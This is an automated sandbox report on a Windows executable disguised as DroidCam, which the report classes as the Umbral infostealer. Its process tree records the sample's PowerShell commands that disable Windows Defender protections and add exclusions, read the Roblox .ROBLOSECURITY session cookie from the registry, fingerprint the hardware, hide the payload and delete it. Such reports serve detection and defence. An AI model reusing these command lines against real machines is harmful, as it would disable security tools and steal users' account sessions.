Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 22:26

General

  • Target

    DroidCamappmdreash.exe

  • Size

    485KB

  • MD5

    702671a992bfd53ecfe53db95ace5780

  • SHA1

    4186b1a1fa60a92cfa2aeaf1573839fe4dd3a6fe

  • SHA256

    2976987f3bc3c8f28537347c4c642f9ad2864d9968917d4bfe8ceed4c8fb2c6b

  • SHA512

    173a0af18d42bb171dee23841903d7ad81a09ac6221281df5660cbc4e1e0b3a1e007d6af55bb4fe5a87e27b76e256bd6ff94c972bed2caf44ffdbca66cb2ad0e

  • SSDEEP

    12288:JLLob7STubLXytmeS1HCShL8/l5DQ3YuqUzttxv:JfI7Z441iMQ/DEfhtZ

Malware Config

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DroidCamappmdreash.exe
    "C:\Users\Admin\AppData\Local\Temp\DroidCamappmdreash.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4124
    • C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe
      "C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3248
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe"
        3⤵
        • Views/modifies file attributes
        PID:1680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:60
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1168
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:3364
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:3896
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4308
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1628
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1548
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:3868
        • C:\Users\Admin\AppData\Local\Temp\DroidCamApp.exe
          "C:\Users\Admin\AppData\Local\Temp\DroidCamApp.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1808

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        1927062659a9e61ab42aae0f33ddee39

        SHA1

        940cee2cc1cdc3320eb5abbbfa8120a7c90331cc

        SHA256

        91743380c396db06b3a82ec0031e8245e75af2babb2740a0a0699de538be4a98

        SHA512

        c82745603ddd11046b8309c9cb287ae7eee84ef24404941f16b2dd38324e2204853ea8d4a3fcb44641243a41b7a8b01e70f5a99143606101a59d863b9ed6b9aa

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        34f595487e6bfd1d11c7de88ee50356a

        SHA1

        4caad088c15766cc0fa1f42009260e9a02f953bb

        SHA256

        0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

        SHA512

        10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        17d8127be94d3c1b6fcc9a4ed585003e

        SHA1

        789874fcc7c778c723f3e89822d8cc8750c6c4c8

        SHA256

        ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

        SHA512

        bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

      • C:\Users\Admin\AppData\Local\Temp\DroidCamApp.exe

        Filesize

        942KB

        MD5

        f8c12fc1b20887fdb70c7f02f0d7bfb3

        SHA1

        28d18fd281e17c919f81eda3a2f0d8765f57049f

        SHA256

        082f5c3fd2fd80505cbd4dbdbb7c50e83c2e81f033a04ea53832dbf0a3fc4933

        SHA512

        97c5d158abb119e076ace4b1398de19029b5d44566d9a293811bf7edbb0db120354cc396aed72bf62766799dc5db266d4b2ee7aee3ffc2818d8be77a4665ad2f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0vlun4hs.1hl.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\dead-payload1.exe

        Filesize

        254KB

        MD5

        db097f7ccf1c6198cb1e5a904979e487

        SHA1

        609060c7c886fd3e4ed106be3371877e2d2cd6a0

        SHA256

        26746bcb408b18a21f86f033fdf6f36628dbc3fa2e0fef153dce5379e5cf70d6

        SHA512

        1bcc00b5812058e045008e2fffd3cf0f8ab69fee38e7dbee8c4e378f1eb74bba8083e54eba3ebe9f2de83410dd1cded12a7155385c43dd343c33b9a82f4647f6

      • memory/748-20-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/748-0-0x00007FFA46FB3000-0x00007FFA46FB5000-memory.dmp

        Filesize

        8KB

      • memory/748-1-0x00000000003B0000-0x0000000000430000-memory.dmp

        Filesize

        512KB

      • memory/748-41-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/3216-69-0x000002C627540000-0x000002C62755E000-memory.dmp

        Filesize

        120KB

      • memory/3216-38-0x000002C625780000-0x000002C6257C6000-memory.dmp

        Filesize

        280KB

      • memory/3216-67-0x000002C63FEF0000-0x000002C63FF66000-memory.dmp

        Filesize

        472KB

      • memory/3216-68-0x000002C63FFE0000-0x000002C640030000-memory.dmp

        Filesize

        320KB

      • memory/3216-105-0x000002C63FE80000-0x000002C63FE8A000-memory.dmp

        Filesize

        40KB

      • memory/3216-106-0x000002C63FED0000-0x000002C63FEE2000-memory.dmp

        Filesize

        72KB

      • memory/3216-124-0x000002C640030000-0x000002C6401D9000-memory.dmp

        Filesize

        1.7MB

      • memory/4124-17-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/4124-14-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/4124-13-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/4124-12-0x00007FFA46FB0000-0x00007FFA47A71000-memory.dmp

        Filesize

        10.8MB

      • memory/4124-2-0x000001677B1C0000-0x000001677B1E2000-memory.dmp

        Filesize

        136KB